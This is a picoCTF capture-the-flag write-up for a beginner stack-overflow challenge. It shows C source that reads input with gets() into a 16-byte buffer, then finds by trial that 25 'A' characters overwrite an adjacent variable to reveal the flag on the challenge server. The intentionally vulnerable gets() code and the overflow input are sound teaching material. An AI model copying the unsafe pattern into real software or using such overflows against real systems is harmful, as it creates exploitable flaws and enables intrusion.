Points: 100
Tags: picoGym Exclusive, Binary Exploitation, gets
Author: OVERTHEWIRE.ORG / LT 'SYREAL' JONES
Description:
Smash the stack
Can you overflow the buffer and modify the other local variable?
The program is available here. You can view source here. And connect with it using:
`nc saturn.picoctf.net 56895`
Hints:
1. Do anything you can to change num.
2. When you change num, view the value as hexadecimal.
Challenge link: https://play.picoctf.org/practice/challenge/399
The main
function of the program look like this
int main(){
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
Our mission is to change the local variable num
with a value of 64 to a value of 65.
This can easily be done since the gets
function doesn't have any length restrictions.
So if we input more than the memory reserved for the input, the 16-byte variable input
,
num
will be overwritten.
The gets
function reads the input as text. What character should we overwrite with?
The ASCII value of decimal 65 corresponds to 'A'.
┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print(chr(65))"
A
We probably could getway with inputting say 64 A:s but let's find out specifically how many A:s
are needed to overwrite num
. This usually isn't as easy as 16+1 A:s due to the compiler's
stack alignment etc.
Let's use Python to print A:s and start with say 22 (something a bit higher than 16+1) of them.
Then we increase the number of A:s step by step until num
is changed.
┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*22)" | ./local-target
Enter a string:
num is 64
Bye!
┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*23)" | ./local-target
Enter a string:
num is 64
Bye!
┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*24)" | ./local-target
Enter a string:
num is 0
Bye!
┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*25)" | ./local-target
Enter a string:
num is 65
You win!
Cannot open file.
So 25 A:s are needed to overwrite num
.
The error message is due to the fact that there is no 'flag.txt' file in the current directory.
Finally, let's send our tiny exploit to the server
┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*25)" | nc saturn.picoctf.net 56895
Enter a string:
num is 65
You win!
picoCTF{<REDACTED>}
For additional information, please see the references below.